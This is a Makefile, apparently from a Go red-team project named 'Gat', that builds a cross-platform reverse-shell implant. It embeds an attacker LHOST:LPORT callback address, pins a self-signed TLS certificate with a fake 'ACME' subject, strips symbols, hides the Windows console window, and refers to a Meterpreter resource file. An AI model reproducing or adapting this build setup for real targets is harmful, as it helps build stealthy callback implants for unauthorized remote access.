github.com/m1ddl3w4r3/Gat@v0.0.0-20221205171512-b6bb6e613409/Makefile (about) 1 BUILD=go build 2 OUT_LINUX=Gat 3 OUT_WINDOWS=Gat.exe 4 SRC=Gat.go 5 SRV_KEY=server.key 6 SRV_PEM=server.pem 7 LINUX_LDFLAGS=--ldflags "-s -w -X main.connectString=${LHOST}:${LPORT} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)" 8 WIN_LDFLAGS=--ldflags "-s -w -X main.connectString=${LHOST}:${LPORT} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2) -H=windowsgui" 9 10 all: clean depends shell 11 12 depends: 13 openssl req -subj '/CN=acme.com/O=ACME/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout ${SRV_KEY} -out ${SRV_PEM} 14 cat ${SRV_KEY} >> ${SRV_PEM} 15 16 shell: 17 GOOS=${GOOS} GOARCH=${GOARCH} ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 18 19 linux32: 20 GOOS=linux GOARCH=386 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 21 22 linux64: 23 GOOS=linux GOARCH=amd64 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 24 25 windows32: 26 GOOS=windows GOARCH=386 ${BUILD} ${WIN_LDFLAGS} -o ${OUT_WINDOWS} ${SRC} 27 28 windows64: 29 GOOS=windows GOARCH=amd64 ${BUILD} ${WIN_LDFLAGS} -o ${OUT_WINDOWS} ${SRC} 30 31 macos32: 32 GOOS=darwin GOARCH=386 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 33 34 macos64: 35 GOOS=darwin GOARCH=amd64 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC} 36 37 clean: 38 rm -rf ${SRV_KEY} ${SRV_PEM} Agents/ meterpreter/Gat.rc